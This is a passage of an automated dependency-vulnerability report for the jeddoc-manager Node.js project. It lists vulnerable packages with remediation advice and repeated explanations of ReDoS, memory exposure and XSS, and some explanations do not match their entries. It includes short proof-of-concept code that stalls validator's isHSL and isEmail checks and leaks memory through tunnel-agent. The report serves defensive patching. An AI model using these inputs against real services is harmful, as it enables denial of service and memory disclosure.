By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sequelize@3.35.1 and validator@7.2.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › validator@5.7.0Remediation: Upgrade to sequelize@5.22.5.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › validator@7.2.0Remediation: Upgrade to validator@13.6.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "hsla(0"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isHSL(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sequelize@3.35.1 and validator@7.2.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › validator@5.7.0Remediation: Upgrade to sequelize@5.22.5.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › validator@7.2.0Remediation: Upgrade to validator@13.6.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = ""
for (var i = 0; i < n; i++) {
ret += "<"
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isEmail(attack_str,{ allow_display_name: true })
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: ip
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0 › ip@1.0.1Remediation: Upgrade to nightwatch@1.0.4.
Overview
ip is an IP address utility for node.js.
Affected versions of the package are vulnerable to Uninitialized Memory Exposure due to an insecure use of the Node.js Buffer class.
Details
The Buffer class in Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.
For more information on the Buffer vulnerability, go to our blog.
Remediation
Upgrade ip to version 1.1.5 or higher.
Note This is vulnerable only for Node <=4
References
medium severity
- Vulnerable module: mem
- Introduced through: nyc@11.9.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › yargs@11.1.0 › os-locale@2.1.0 › mem@1.1.0Remediation: Upgrade to nyc@13.2.0.
Overview
mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.
Affected versions of this package are vulnerable to Denial of Service (DoS). Old results were deleted from the cache and could cause a memory leak.
details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade mem to version 4.0.0 or higher.
References
medium severity
- Vulnerable module: tunnel-agent
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › tunnel-agent@0.4.3Remediation: Upgrade to coveralls@3.0.0.
Overview
tunnel-agent is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.
A possible memory disclosure vulnerability exists when a value of type number is used to set the proxy.auth option of a request request and results in a possible uninitialized memory exposures in the request body.
This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.
Details
Constructing a Buffer class with integer N creates a Buffer of length N with raw (not "zero-ed") memory.
In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":
// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');
tunnel-agent's request construction uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed flaw in OpenSSL.
Proof of concept by ChALkeR
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:"127.0.0.1",
port:8080,
auth:80
}
});
You can read more about the insecure Buffer behavior on our blog.
Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.
Remediation
Upgrade tunnel-agent to version 0.6.0 or higher.
Note This is vulnerable only for Node <=4
References
medium severity
- Vulnerable module: eslint
- Introduced through: eslint@3.19.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0Remediation: Upgrade to eslint@9.26.0.
Overview
eslint is a pluggable linting utility for JavaScript and JSX
Affected versions of this package are vulnerable to Uncontrolled Recursion in the isSerializable function when handling objects with circular references during the serialization process. An attacker can cause the application to crash or become unresponsive by supplying specially crafted input that triggers infinite recursion.
Remediation
Upgrade eslint to version 9.26.0 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash to version 4.17.11 or higher.
References
medium severity
- Vulnerable module: istanbul-reports
- Introduced through: nyc@11.9.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › istanbul-reports@1.5.1Remediation: Upgrade to nyc@15.0.0.
Overview
Affected versions of this package are vulnerable to Reverse Tabnabbing because of no rel attribute in the link to https://istanbul.js.org/.
Remediation
Upgrade istanbul-reports to version 3.1.3 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to NULL Pointer Dereference via Sass::Parser::parseCompoundSelectorin parser_selectors.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-bounds Read via Sass::weaveParents in ast_sel_weave.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Uncontrolled Recursion via Sass::Eval::operator()(Sass::Binary_Expression*) in eval.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
low severity
- Vulnerable module: braces
- Introduced through: babel-plugin-istanbul@4.1.6, nyc@11.9.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-plugin-istanbul@4.1.6 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to babel-plugin-istanbul@5.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to nyc@13.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces to version 2.3.1 or higher.
References
low severity
- Vulnerable module: debug
- Introduced through: mocha@3.5.3 and nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3 › debug@2.6.8Remediation: Upgrade to mocha@4.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › mocha-nightwatch@3.2.2 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
Overview
debug is a small debugging utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument.
The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.
Note: CVE-2017-20165 is a duplicate of this vulnerability.
PoC
Use the following regex in the %o formatter.
/\s*\n\s*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.
References
low severity
- Vulnerable module: eslint
- Introduced through: eslint@3.19.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0Remediation: Upgrade to eslint@4.18.2.
Overview
eslint is a pluggable linting utility for JavaScript and JSX
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 100k characters long.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
